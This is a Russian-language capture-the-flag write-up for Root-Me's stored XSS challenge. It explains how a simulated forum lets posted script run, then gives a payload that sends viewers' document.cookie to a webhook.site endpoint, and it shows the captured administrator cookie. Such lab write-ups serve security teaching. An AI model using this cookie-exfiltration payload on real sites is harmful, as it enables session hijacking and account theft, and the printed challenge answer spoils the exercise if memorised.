WebPentest
May 13

WebPentest #2. Stored XSS

Здесь нужно заполучить куки администратора...

Задача: https://www.root-me.org/ru/Zadachi-i-problemy/Veb-Klient/XSS-Stored-1

Target: http://challenge01.root-me.org/web-client/ch18/

Подсказка: для приема куков можно использовать сервис webhook.site.

Разбор

  • Исследуем веб-сайт и его функциональность. Здесь смоделирован функционал форума, где каждый пользователь может опубликовать сообщение вида Title/message.
  • Проверяем есть ли тут уязвимость. Попробуем отправить тестовый payload вида:
<script>alert('test')</script>
  • Уязвимость найдена, это Stored XSS - то есть вредоносный код, который сохраняется на стороне сервера, например, в базе данных, форуме, поле комментариев и т.д.
    Вот тут можно почитать более подробно про этот вид уязвимости.
  • Как используя найденную уязвимость можно увести куки администратора. Если использовать тот же payload, то функция alert выведет свои же куки. То есть этот скрипт сработает у всех, кто откроет эту страницу.
<script>alert(document.cookie)</script>
  • Воспользуемся сервисом https://webhook.site/, он создаст нам временный эндойнт, куда мы и отправим куки пользователей, который зайдут на страницу форума.
    Тогда payload будет такого вида. То есть мы создаем картинку, где в качестве контента будет ссылка на наш эндопйнт, а параметром передадим куки.
document.write("<img src='https://webhook.site/b1487899-a232-47ab-8df1-21ba4dd04069/"+document.cookie+"'></img>")
  • Ждем, когда на страницу зайдет администратор и мы получим его куки. Когда это произойдет, мы получим ответ вида:
https://webhook.site/6aaf7ecb-938c-400f-a262-0c321d17d5bd/ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6
  • Мы получили куки админа: ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6